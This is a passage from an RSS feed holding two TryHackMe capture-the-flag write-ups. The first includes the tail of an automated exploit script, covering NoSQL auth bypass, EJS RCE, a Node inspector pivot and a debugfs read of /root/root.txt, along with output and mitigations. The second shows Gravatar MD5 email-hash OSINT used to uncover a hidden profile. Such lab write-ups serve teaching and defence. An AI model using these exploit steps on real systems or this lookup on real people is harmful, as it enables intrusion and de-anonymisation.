    print("[+] Step 4: Node inspector pivot -&amp;gt; pipelinesvc")
    out = node_inspect("id")
    print("   ", out.strip().replace("\n", " "))
    if "pipelinesvc" not in out:
        print("[-] inspector pivot failed, aborting"); return 1

    print("[+] Step 5: raw disk read via debugfs -&amp;gt; root flag")
    out = node_inspect("debugfs -R 'cat /root/root.txt' /dev/nvme0n1p1 2&amp;gt;&amp;amp;1")
    m = FLAG_RE.search(out)
    root_flag = m.group(0) if m else "(not found)"
    print("[+] ROOT FLAG:", root_flag)

    print()
    print("=" * 44)
    print("  USER FLAG  :", user_flag or "(MISSING)")
    print("  ROOT FLAG  :", root_flag)
    print("=" * 44)
    ok = bool(user_flag.count("THM{") and root_flag.count("THM{"))
    print(("[+] SUCCESS - both flags captured" if ok else
           "[-] flags incomplete - check manually"))
    return 0 if ok else 1


if __name__ == "__main__":
    sys.exit(main())
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It performs every step above automatically: NoSQL login → EJS RCE → user flag&lt;br&gt;
→ inspector pivot → &lt;code&gt;debugfs&lt;/code&gt; extraction → prints both flags and exits 0 only&lt;br&gt;
if both &lt;code&gt;THM{...}&lt;/code&gt; flags were captured.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[+] Step 1: NoSQL auth bypass -&amp;gt; staff
[+] Step 2: EJS RCE check          uid=996(poolside) ...
[+] Step 3: user flag              THM{w4rm_s3ss10n_h1j4ck3d}
[+] Step 4: Node inspector pivot   uid=995(pipelinesvc) ... groups=...,6(disk)
[+] Step 5: debugfs raw disk read  THM{r4w_d1sk_4cc3ss_w4s_t00_much}
[+] SUCCESS - both flags captured
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Vulnerabilities (recap)
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;NoSQL injection&lt;/strong&gt; in &lt;code&gt;/login&lt;/code&gt; — &lt;code&gt;password[$ne]&lt;/code&gt; auth bypass to staff role.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;EJS template injection&lt;/strong&gt; in &lt;code&gt;/staff/preview&lt;/code&gt; — RCE as &lt;code&gt;poolside&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Node inspector exposed&lt;/strong&gt; (&lt;code&gt;--inspect=127.0.0.1:9229&lt;/code&gt;) — arbitrary eval as
&lt;code&gt;pipelinesvc&lt;/code&gt; (debugger endpoint running in a long-lived service).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;disk&lt;/code&gt; group membership&lt;/strong&gt; — raw block-device read → any file on disk,
including &lt;code&gt;/root/root.txt&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Mitigations
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Issue&lt;/th&gt;
&lt;th&gt;Fix&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;NoSQL injection&lt;/td&gt;
&lt;td&gt;Validate/whitelist inputs; never pass user-supplied operator objects to queries&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;EJS injection&lt;/td&gt;
&lt;td&gt;Never &lt;code&gt;ejs.render()&lt;/code&gt; user input; use a strict template engine with an allowlist&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Node inspector&lt;/td&gt;
&lt;td&gt;Never ship &lt;code&gt;--inspect&lt;/code&gt; in production; bind to 127.0.0.1 &lt;strong&gt;and&lt;/strong&gt; firewall port 9229&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;disk group&lt;/td&gt;
&lt;td&gt;Remove service accounts from the &lt;code&gt;disk&lt;/code&gt; group (least privilege)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Tools Used
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;nmap&lt;/code&gt;, &lt;code&gt;curl&lt;/code&gt;, Python &lt;code&gt;urllib&lt;/code&gt; + cookie jars — recon &amp;amp; HTTP&lt;/li&gt;
&lt;li&gt;NedB operator injection (&lt;code&gt;password[$ne]&lt;/code&gt;) — auth bypass&lt;/li&gt;
&lt;li&gt;EJS &lt;code&gt;child_process.execSync&lt;/code&gt; — server-side template RCE&lt;/li&gt;
&lt;li&gt;Hand-rolled WebSocket client — Node inspector &lt;code&gt;Runtime.evaluate&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;debugfs&lt;/code&gt; — ext4 raw filesystem extraction&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F5temzhkksjzsl663yvwt.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F5temzhkksjzsl663yvwt.png" alt=" " width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>web</category>
      <category>python</category>
      <category>ai</category>
    </item>
    <item>
      <title>[TryHackMe Writeup] Overheard at Breakfast</title>
      <dc:creator>Wahiduddin Samani</dc:creator>
      <pubDate>Sun, 02 Aug 2026 12:52:46 +0000</pubDate>
      <link>https://dev.to/w1hi4/tryhackme-writeup-overheard-at-breakfast-3dfp</link>
      <guid>https://dev.to/w1hi4/tryhackme-writeup-overheard-at-breakfast-3dfp</guid>
      <description>&lt;h1&gt;
  
  
  &lt;strong&gt;🏨 Hacker Holidays — The Byte Lotus Hotel&lt;/strong&gt;
&lt;/h1&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;🍳 Overheard at Breakfast — Full Walkthrough&lt;/strong&gt;
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Points&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;60&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Category&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;OSINT&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Difficulty&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Easy&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Tags&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;OSINT, Social Media, Hashing&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  **📝 Challenge Description
&lt;/h2&gt;

&lt;p&gt;**&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;The breakfast terrace is loud this morning — clinking cutlery, espresso machines, the usual chatter. One guest couldn't help but linger at a nearby table, seeing more of a conversation than they were meant to.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;When the table's occupant stepped away for a refill, they seized the moment and grabbed a screenshot before it could disappear. Somewhere in that conversation is enough to track down an account nobody was supposed to find.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Objective:&lt;/strong&gt; Analyze the provided conversation screenshot, extract identifying details, locate a hidden account, and capture the flag.&lt;/p&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;🗺️ Solution Overview&lt;/strong&gt;
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌─────────────────────────────┐
│  1. Analyze Conversation    │
│         ↓                   │
│  2. Extract Key Clues       │
│         ↓                   │
│  3. Compute MD5 Hash        │
│         ↓                   │
│  4. Find Gravatar Profile   │
│         ↓                   │
│  5. Extract Base64 String   │
│         ↓                   │
│  6. Decode the Flag 🚩      │
└─────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  &lt;strong&gt;Step 1: Analyze the Conversation 🔍&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;The challenge provides a screenshot of a &lt;strong&gt;Discord conversation&lt;/strong&gt; between two users:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Ponzi – Influencer&lt;/strong&gt; (L3AK member)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Lambo!&lt;/strong&gt; (our target)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;The Conversation Screenshot&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fwaih9atuyqubid971rz4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fwaih9atuyqubid971rz4.png" alt=" " width="800" height="532"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Full Conversation Transcript&lt;/strong&gt;
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Time&lt;/th&gt;
&lt;th&gt;User&lt;/th&gt;
&lt;th&gt;Message&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;10:53 PM&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Ponzi – Influencer&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Hey &lt;a class="mentioned-user" href="https://dev.to/lambo"&gt;@lambo&lt;/a&gt;!&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10:53 PM&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Lambo!&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Hi Ponzi! How are things going on your end? :)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10:54 PM&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Ponzi – Influencer&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;doing well thanks for asking, enjoying the resort so far?&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10:55 PM&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Lambo!&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Absolutely, Byte Lotus is treating me nice, love the food, weather and overall vibes. Will probably come back next year too.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10:57 PM&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Ponzi – Influencer&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;love to hear it!!! so i've been posting so much on social media and helping customers around. i never ended up getting your handle, so that i could possibly tag you next time.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;11:00 PM&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Lambo!&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Great to hear, I've been seeing those awesome posts. Yeah nowadays I don't really use much social media...&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;Though I'm still out there, I used to use this free tool that let me upload my profile and link other media accounts was neat, until I wiped everything. &lt;strong&gt;Started with a &lt;code&gt;G&lt;/code&gt;&lt;/strong&gt; if I remember correctly.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;But if anything this is my best way of communication: &lt;strong&gt;&lt;code&gt;lambobytelotushotel@gmail.com&lt;/code&gt;&lt;/strong&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;11:03 PM&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Ponzi – Influencer&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;woah woah, seems very secretive! maybe for the better that you don't use social media, heard some strange things have been happening in Byte Lotus. thanks regardless I will be in touch with you.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;btw one more thing, going out to breakfast tomorrow morning?&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;11:03 PM&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Lambo!&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Yeah sounds dope, will be there you know me 😎!&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;Step 2: Extract Key Clues 🔑&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;From the conversation, we can identify &lt;strong&gt;three critical clues&lt;/strong&gt;:&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Clue #1 — Email Address&lt;/strong&gt;
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;lambobytelotushotel@gmail.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Lambo directly shares their email as their "best way of communication."&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Clue #2 — The Mystery Tool (Starts with "G")&lt;/strong&gt;
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;"I used to use this free tool that let me upload my profile and link other media accounts... Started with a **G&lt;/em&gt;* if I remember correctly."*&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This is &lt;strong&gt;Gravatar&lt;/strong&gt; (&lt;a href="https://gravatar.com" rel="noopener noreferrer"&gt;https://gravatar.com&lt;/a&gt;) — a free service that:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;✅ Lets you upload a profile picture&lt;/li&gt;
&lt;li&gt;✅ Lets you link other social media accounts&lt;/li&gt;
&lt;li&gt;✅ Starts with the letter "G"&lt;/li&gt;
&lt;li&gt;✅ Uses &lt;strong&gt;email hashes&lt;/strong&gt; to look up profiles (connects to the "Hashing" tag)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Clue #3 — Challenge Tags&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;The challenge is tagged with &lt;strong&gt;OSINT&lt;/strong&gt;, &lt;strong&gt;Social Media&lt;/strong&gt;, and &lt;strong&gt;Hashing&lt;/strong&gt; — confirming we need to:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Use OSINT techniques to find a profile&lt;/li&gt;
&lt;li&gt;The profile is on a social/media platform&lt;/li&gt;
&lt;li&gt;Hashing is involved (Gravatar uses MD5 hashes of emails)&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  **Step 3: Compute the MD5 Hash 🔐
&lt;/h2&gt;

&lt;p&gt;**&lt;br&gt;
&lt;strong&gt;Gravatar&lt;/strong&gt; identifies users by the &lt;strong&gt;MD5 hash&lt;/strong&gt; of their email address. This is how you look up anyone's Gravatar profile if you know their email.&lt;/p&gt;
&lt;h3&gt;
  
  
  The Process
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Email (lowercase, trimmed) → MD5 Hash → Gravatar Profile URL
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  PowerShell Script
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Compute MD5 hash of email&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$email&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'lambobytelotushotel@gmail.com'&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$md5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;System.Security.Cryptography.MD5&lt;/span&gt;&lt;span class="p"&gt;]::&lt;/span&gt;&lt;span class="n"&gt;Create&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$bytes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;System.Text.Encoding&lt;/span&gt;&lt;span class="p"&gt;]::&lt;/span&gt;&lt;span class="n"&gt;UTF8.GetBytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$email&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Trim&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ToLower&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$hash&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$md5&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ComputeHash&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$bytes&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$hashString&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-join&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$hash&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ForEach-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ToString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'x2'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Write-Output&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"MD5 Hash: &lt;/span&gt;&lt;span class="nv"&gt;$hashString&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  Alternative — Python
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;hashlib&lt;/span&gt;
&lt;span class="n"&gt;email&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;lambobytelotushotel@gmail.com&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;md5_hash&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;hashlib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;md5&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;email&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;lower&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;utf-8&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)).&lt;/span&gt;&lt;span class="nf"&gt;hexdigest&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;MD5 Hash: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;md5_hash&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  Alternative — Linux/Bash
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="s2"&gt;"lambobytelotushotel@gmail.com"&lt;/span&gt; | &lt;span class="nb"&gt;md5sum&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  Alternative — CyberChef
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;Go to &lt;a href="https://gchq.github.io/CyberChef/" rel="noopener noreferrer"&gt;CyberChef&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Search for "MD5" in Operations&lt;/li&gt;
&lt;li&gt;Input: &lt;code&gt;lambobytelotushotel@gmail.com&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Output: &lt;code&gt;d4a5fc5d3128890778667e24617d7cc0&lt;/code&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;
  
  
  Result
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;MD5("lambobytelotushotel@gmail.com") = d4a5fc5d3128890778667e24617d7cc0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  **Step 4: Find the Gravatar Profile 🌐
&lt;/h2&gt;

&lt;p&gt;**&lt;br&gt;
Using the MD5 hash, we can construct the Gravatar profile URL:&lt;/p&gt;
&lt;h3&gt;
  
  
  Profile URL
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://gravatar.com/d4a5fc5d3128890778667e24617d7cc0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  JSON API (for structured data)
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://gravatar.com/d4a5fc5d3128890778667e24617d7cc0.json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  What We Find
&lt;/h3&gt;

&lt;p&gt;Visiting the profile URL reveals &lt;strong&gt;Lambo's Gravatar profile&lt;/strong&gt; with the following details:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Display Name&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Lambo&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Pronunciation&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Lam-boh&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Location&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Byte Lotus Hotel&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Username&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;cheerfullysongf28e3c3716&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Profile URL&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://gravatar.com/cheerfullysongf28e3c3716" rel="noopener noreferrer"&gt;https://gravatar.com/cheerfullysongf28e3c3716&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;
&lt;h3&gt;
  
  
  The "About Me" Section — The Prize 🎯
&lt;/h3&gt;

&lt;p&gt;The profile's "aboutMe" field contains this message:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;"Funny thing about email hashes, they follow you places you didn't expect. Glad you found the right corner of the internet! Here is your prize:&lt;/em&gt;&lt;br&gt;
&lt;strong&gt;&lt;em&gt;VEhNe1MzY3JlVF9QcjBmaWwzX0g0c19iMzNuX0lkZW50MWZpM2R9&lt;/em&gt;&lt;/strong&gt;"&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;
  
  
  Raw JSON Response
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"entry"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"hash"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"d4a5fc5d3128890778667e24617d7cc0"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"profileUrl"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://gravatar.com/cheerfullysongf28e3c3716"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"displayName"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Lambo"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"pronunciation"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Lam-boh"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
